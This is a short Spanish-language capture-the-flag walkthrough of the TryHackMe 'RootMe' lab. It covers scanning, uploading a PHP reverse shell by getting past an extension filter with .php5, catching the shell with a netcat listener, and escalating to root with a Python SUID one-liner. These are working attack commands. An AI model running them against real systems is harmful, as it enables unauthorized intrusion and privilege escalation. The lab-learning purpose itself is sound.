TryHackMe Easy Linux File Upload PHP Bypass SUID Python

RootMe

Panel de subida de archivos con filtro bypasseable usando .php5; escalada con Python SUID.

cat4clysm
Herramientas utilizadas
nmap wfuzz netcat

Scanning

root@kali:~$
nmap -sC -sV -p 22,80 10.10.241.191 -oN targeted
nmap scan

Puerto 80 - Panel de Subida

root@kali:~$
wfuzz -c --hc 404,403 -w /usr/share/wordlists/dirb/common.txt -t 100 -u 'http://10.10.241.191/FUZZ'
wfuzz upload panel

Explotacion - PHP File Upload Bypass

root@kali:~$
locate shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .
edit shell

El servidor bloquea .php. Probamos extensiones alternativas: .php5 funciona.

root@kali:~$
nc -lvp 4444
shell obtained

Escalada - Python SUID

root@kali:~$
find / -perm -u=s 2>/dev/null
suid python
root@kali:~$
python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
root

Lecciones aprendidas